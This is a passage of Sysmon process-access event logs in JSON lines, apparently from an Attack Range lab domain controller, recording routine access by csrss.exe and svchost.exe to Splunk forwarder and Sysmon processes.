Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3443,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407C-5F2D-0000-0010272F0500}\r\nTargetProcessId: 1552\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407C-5F2D-0000-0010272F0500}","TargetProcessId":"1552","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3444,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3445,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3446,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3447,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3448,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3449,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3450,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:28.823","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:28","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3451,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:28.823\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 